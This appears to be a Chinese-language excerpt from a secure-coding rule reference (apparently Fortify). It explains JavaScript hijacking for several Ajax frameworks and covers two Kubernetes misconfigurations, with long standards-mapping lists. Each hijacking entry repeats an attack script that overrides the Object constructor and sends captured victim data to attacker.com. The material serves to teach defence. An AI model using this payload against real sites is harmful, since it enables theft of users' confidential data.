[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
运行 Microsoft AJAX.NET (Atlas) 的应用程序易受到 JavaScript 劫持,使未经授权的攻击者能够读取机密信息。
Explanation
Microsoft AJAX.NET (Atlas) 使用 JSON 在服务器和客户端之间传送数据。该框架生成的响应由可以使用 <script> 标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script> 标签生成请求(因为 <script> 标签仅生成 GET 请求)。尽管如此,Microsoft AJAX.NET 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。

如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器执行同源策略 (Same Origin Policy),以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定:如果要使用 JavaScript 来访问某个网页的内容的话,则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy),恶意网站便可以使用客户端凭证来运行 JavaScript,从其他网站加载的敏感信息,并对这些信息进行提炼,然后将其返回给攻击者。通过 JavaScript 劫持,攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy),该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是:通过这一策略,任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据,但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境,恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此,与传统的 Web 应用程序不同,它们往往很容易受到各种攻击。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据,并通过以下代码评估 JSON 结果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


当此代码运行时,它会生成一个如下所示的 HTTP 请求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。)
服务器使用 JSON 格式的数组进行响应:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
利用 Google Web Toolkit (GTW) Ajax 框架的应用程序极易受到 JavaScript hijacking 的攻击,这会导致未经授权的攻击者查看机密信息。
Explanation
GWT 使用 JSON 在服务器和客户端之间传送数据。该框架生成的响应由可以使用 <script> 标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script> 标签生成请求(因为 <script> 标签仅生成 GET 请求)。尽管如此,GWT 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。

如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器执行同源策略 (Same Origin Policy),以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定:如果要使用 JavaScript 来访问某个网页的内容的话,则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy),恶意网站便可以使用客户端凭证来运行从其他网站加载敏感信息的 JavaScript,并对这些信息进行提炼,然后将其返回给攻击者。通过 JavaScript 劫持,攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy),该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是:通过这一策略,任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据,但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境,恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此,与传统的 Web 应用程序不同,它们往往很容易受到各种攻击。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据,并通过以下代码评估 JSON 结果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


当此代码运行时,它会生成一个如下所示的 HTTP 请求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。)
服务器使用 JSON 格式的数组进行响应:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.java.javascript_hijacking_vulnerable_framework
Abstract
使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞,该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。
Explanation
如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器强制执行同源策略,以防止用户受到恶意网站的侵害。同源策略要求,为确保使用 JavaScript 访问 Web 页面内容,JavaScript 和 Web 页面必须来自同一个域。如果不实施同源策略,恶意网站可能就会使用客户端凭据运行从其他网站加载敏感信息的 JavaScript,并对这些信息进行提炼,然后将其返回给攻击者。JavaScript Hijacking 允许攻击者在 Web 应用程序使用 JavaScript 传递机密信息的情况下绕过同源策略。同源策略的漏洞在于,允许将来自任何网站的 JavaScript 纳入任何其他网站的上下文并予以执行。即使恶意站点无法直接检查从易受攻击的客户端站点加载的任何数据,但仍然可以通过设置环境来利用此漏洞,使其能够见证 JavaScript 的执行过程及其可能产生的任何相关副作用。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此通常容易受到攻击,而传统 Web 应用程序则不然。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据,并通过以下代码评估 JSON 结果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


当此代码运行时,它会生成一个如下所示的 HTTP 请求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。)
服务器使用 JSON 格式的数组进行响应:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework
Abstract
避免使用 Kubernetes 默认命名空间。
Explanation
Kubernetes 命名空间将群集划分为可管理的块。命名空间为名称提供一个范围,且有助于将各种策略指定到群集的子部分。默认情况下,Kubernetes 将资源分配给 default 命名空间。使用与默认命名空间不同的命名空间可以减少错误或恶意活动的影响。

示例 1:以下配置将资源的命名空间设置为 default

...
kind: ...
metadata:
...
namespace: default
spec:
...
References
[1] Namespaces The Kubernetes Authors
[2] Standards Mapping - CIS Kubernetes Benchmark Recommendation 5.7.4
[3] Standards Mapping - Common Weakness Enumeration CWE ID 340
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[7] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[8] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Predictable Resource Location (WASC-34)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Predictable Resource Location
desc.structural.yaml.kubernetes_misconfiguration_default_namespace.base
Abstract
Kubelet 配置中已启用匿名请求。
Explanation
存在允许 Kubelets 处理匿名请求的配置。任何配置的身份验证方法都不会拒绝匿名请求。由于 Kubelets 是管理工作程序计算机工作负载的 Kubernetes 主要代理,攻击者可以使用匿名请求来访问保护不充分和安全敏感的服务 API。

示例 1:以下配置文件允许 Kubelet 处理匿名请求,因为 anonymous 字段设置为 enabled:true

...
kind: KubeletConfiguration
...
authentication:
anonymous:
enabled: true
...
References
[1] Set Kubelet parameters via a config file The Kubernetes Authors
[2] Kubelet The Kubernetes Authors
[3] Standards Mapping - CIS Kubernetes Benchmark Recommendation 4.2.1
[4] Standards Mapping - Common Weakness Enumeration CWE ID 284
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [18] CWE ID 522
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [18] CWE ID 862
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [16] CWE ID 862
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-001084, CCI-002165
[9] Standards Mapping - FIPS200 AC
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1), SC-3 Security Function Isolation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement, SC-3 Security Function Isolation
[13] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3)
[15] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[16] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[17] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[18] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
